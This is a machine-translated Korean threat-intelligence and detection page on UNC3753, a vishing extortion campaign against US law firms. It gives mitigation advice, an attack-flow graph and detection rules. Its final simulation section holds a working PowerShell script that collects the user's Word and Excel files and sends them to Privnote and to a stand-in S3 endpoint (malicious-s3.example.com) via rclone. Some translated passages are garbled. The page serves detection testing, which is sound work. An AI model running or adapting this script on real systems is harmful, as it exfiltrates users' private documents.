법률 자문 구하기: 미국 법률 회사들을 겨냥한 지속적인 표적 공격
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
UNC3753으로 추적된 재정적 동기 부여 위협 클러스터가 피해자를 속여 원격 모니터링 및 관리 소프트웨어를 설치하도록 하는 보이스 피싱 캠페인을 운영하고 있습니다. 접근이 확립되면 행위자들은 민감한 법적 및 금융 정보를 탈취하고, 공개 노출을 위협하여 피해 조직을 협박합니다. 이 캠페인은 특히 법률 회사와 같은 미국 전문 서비스 기업에 초점을 맞추고 있으며, 사이버 기반과 물리적 데이터 절도가 모두 포함될 수 있습니다.
조사
Mandiant는 초기 보이스 피싱 콜부터 데이터 절도 및 협박까지의 전체 침입 사이클을 관찰했으며, 때로는 단 하루 안에 발생하기도 합니다. 피해자들은 AnyDesk, Bomgar, 맞춤형 SuperOps 설치 프로그램과 같은 원격 데스크톱 및 RMM 소프트웨어 사용에 설득되었습니다. curl 명령을 실행합니다. 데이터 축출은 WinSCP, Rclone, 또는 소비자 클라우드 저장소 계정에 직접 업로드하는 도구를 통해 수행되었습니다.
완화
조직은 보이스 피싱 시도를 인식하도록 직원들에게 교육하고, 모든 원격 지원 요청에 대해 엄격한 확인 절차를 시행하고, 승인되지 않은 RMM 및 화면 공유 도구를 차단해야 합니다. 이동식 미디어를 비활성화하고, 클라우드 스토리지 또는 FTP 대상으로의 비정상적인 아웃바운드 전송을 모니터링하며, VDI에 조건부 접근 관리를 적용하고, 중요 문서 저장소에 MFA를 강제 적용함으로써 위험을 줄일 수 있습니다.
대응
이 활동이 감지되면 즉시 영향을 받은 엔드포인트를 격리하고, 승인되지 않은 원격 세션을 종료하고, 설치된 RMM 바이너리를 제거하십시오. 조사관은 명령 줄 기록, 레지스트리 변경 및 예약된 작업 아티팩트를 수집하여 포렌식 검토해야 합니다. 손상된 자격 증명은 재설정하고, 데이터 탈출은 평가되어야 하며, 협박이 시작된 경우 법 집행 기관의 개입을 고려해야 합니다.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef technique fill:#ccccff classDef operator fill:#ff9900 %% Node definitions initial_access["<b>Action</b> – <b>T1566.004 Phishing: Spearphishing Voice</b><br/><b>Description</b>: 공격자가 신뢰할 수 있는 목소리로 전화하여 대상이 자격 증명을 제공하거나 악성 명령을 실행하도록 속입니다."] class initial_access action user_execution["<b>Action</b> – <b>T1204.002 악의적인 파일</b><br/><b>도구</b>: cURL + MSI 설치 프로그램<br/><b>설명</b>: 피해자가 cURL을 통해 다운로드된 악성 MSI 파일을 실행하여 시스템에서 코드 실행을 초래합니다."] class user_execution action remote_desktop["<b>Action</b> – <b>T1219.002 원격 데스크톱 소프트웨어</b><br/><b>도구들</b>: Zoom, Microsoft Teams, AnyDesk<br/><b>설명</b>: 합법적인 원격 데스크톱 또는 회의 애플리케이션을 악용하여 지속적인 원격 액세스를 유지합니다."] class remote_desktop action discovery["<b>Action</b> – <b>T1083 파일 및 디렉토리 탐색</b> & <b>T1680 로컬 저장소 탐색</b><br/><b>설명</b>: 적이 유출할 귀중한 데이터를 찾기 위해 파일, 디렉토리 및 로컬 저장소 위치를 나열합니다."] class discovery action data_staging["<b>Action</b> – <b>T1074 데이터 준비</b> & <b>T1560 수집된 데이터 아카이브</b><br/><b>설명</b>: 수집된 파일을 로컬에 준비하고 유출을 위해 아카이브로 압축합니다."] class data_staging action exfiltration["<b>Action</b> – <b>T1567.002 클라우드 저장소로의 유출</b> & <b>T1020 자동 유출</b><br/><b>대상</b>: Google Drive<br/><b>설명</b>: 떨어진 아카이브를 원격 추출을 위해 클라우드 저장소 서비스에 자동 업로드합니다."] class exfiltration action physical_media["<b>Action</b> – <b>T1052 물리적 매체를 통한 유출</b><br/><b>설명</b>: 네트워크 채널이 제한될 경우 오프라인 유출을 위해 이동식 미디어에 데이터를 전송합니다."] class physical_media action cleanup["<b>Action</b> – <b>T1070.001 Windows 이벤트 로그 지우기</b><br/><b>설명</b>: 침입의 증거를 지우기 위해 Windows 이벤트 로그를 삭제합니다."] class cleanup action %% Edge connections initial_access –>|leads_to| user_execution user_execution –>|enables| remote_desktop remote_desktop –>|enables| discovery discovery –>|leads_to| data_staging data_staging –>|enables| exfiltration exfiltration –>|leads_to| physical_media physical_media –>|followed_by| cleanup "
공격 플로우
탐지
대체 원격 액세스/관리 소프트웨어 (프로세스 생성 경유)
보기
수상한 CURL 사용 (명령줄 통해)
보기
SuperOps RMM 소프트웨어 설치 시도 가능성 (파일 이벤트 통해)
보기
대체 원격 액세스/관리 소프트웨어 (시스템 통해)
보기
대체 원격 액세스/관리 소프트웨어 (감사 통해)
보기
MsiInstaller를 사용한 RMM 소프트웨어 설치 시도 가능성 (애플리케이션 로그 통해)
보기
탐지: 상담 추구: 미국 법률 회사에 대한 지속적인 표적 캠페인 (SourceIP)
보기
탐지: 상담 추구: 미국 법률 회사에 대한 지속적인 표적 캠페인 (DestinationIP)
보기
비인가된 파일 공유 및 대량 SSH 트래픽 탐지 [Firewall]
보기
UNC3753 Privnote 및 파일 전송 도구를 사용한 데이터 유출 [Windows 네트워크 연결]
보기
UNC3753 원격 액세스 및 악성 MSI 설치 [Windows 프로세스 생성]
보기
시뮬레이션 실행
사전 조건: 텔레메트리 및 기본 설정 사전 비행 점검에 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 상대 기술의 정밀한 실행을 설명합니다. 명령 및 서사는 식별된 TTP를 직접 반영해야 하며 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 수 있습니다.
-
공격 서사 및 명령:
-
정찰 및 데이터 준비 (T1005, T1083):
적이 사용자 디렉토리를 나열하고 모든*.docxand*.xlsx파일을 준비 폴더로 복사C:TempStagedData. -
Privnote를 통한 업로드 (T1567.002):
PowerShell을 사용하여 공격자는 각 파일을 읽고, 내용을 base‑64로 인코딩하여https://privnote.com/api/note에 게시합니다. 명령줄에는 URL이 포함되어selection_privnote조건을 만족시킵니다. -
Rclone을 사용한 전송 (T1020):
공격자는 실행합니다rclone.exe(즉석에서 다운로드) 준비된 파일을 악성 S3 버킷으로 푸시합니다. 프로세스 이름 ‘rclone.exe’가selection_tool. -
기준과 일치합니다. 정리:
-
-
준비 폴더와 남아 있는 모든 바이너리를 삭제합니다. 회귀 테스트 스크립트:
(파워셸 - 독립형, 외부 종속성 없음).)(파워셸 - 독립형, 외부 종속성 없음) -
# ————————————————- # UNC3753 유출 시뮬레이션 – PowerShell # ————————————————- # 1. 준비 디렉토리 준비 $staging = “$env:USERPROFILETempStagedData” New-Item -ItemType Directory -Force -Path $staging | Out-Null # 2. 샘플 데이터 복사 (데이터 수집 시뮬레이션) Get-ChildItem -Path “$env:USERPROFILEDocuments” -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force } # 3. Privnote에 각 파일 업로드 (웹 서비스 유출) $privnoteUrl = “https://privnote.com/api/note” Get-ChildItem -Path $staging -File | ForEach-Object { $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName)) $body = @{ text = $content } # 명령줄에 URL이 나타남 -> selection_privnote 트리거 Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null } # 4. Rclone 다운로드 (존재하지 않으면) 및 S3를 통한 유출 $rcloneExe = “$env:TEMPrclone.exe” if (-not (Test-Path $rcloneExe)) { Invoke-WebRequest -Uri “https://downloads.rclone.org/rclone-current-windows-amd64.zip” -OutFile “$env:TEMPrclone.zip” Expand-Archive -Path “$env:TEMPrclone.zip” -DestinationPath $env:TEMP -Force Move-Item -Path (Get-ChildItem “$env:TEMPrclone-*-windows-amd64rclone.exe”).FullName -Destination $rcloneExe -Force } # 악의적인 S3 버킷 구성 – 임시 파일에 설정 기록 $rcloneConfig = @” [malicious type = s3 provider = AWS access_key_id = AKIAFAKEKEY secret_access_key = fakeSecretKey123 region = us-east-1 endpoint = https://malicious-s3.example.com “@ $configPath = “$env:TEMPrclone.conf” $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII # rclone 복사 실행 – 프로세스 이름 “rclone.exe”가 selection_tool 트리거 & $rcloneExe copy $staging “malicious:exfil” –config $configPath –log-level INFO # 5. 정리 Remove-Item -Recurse -Force $staging Remove-Item -Force $rcloneExe, $configPath
정리 명령: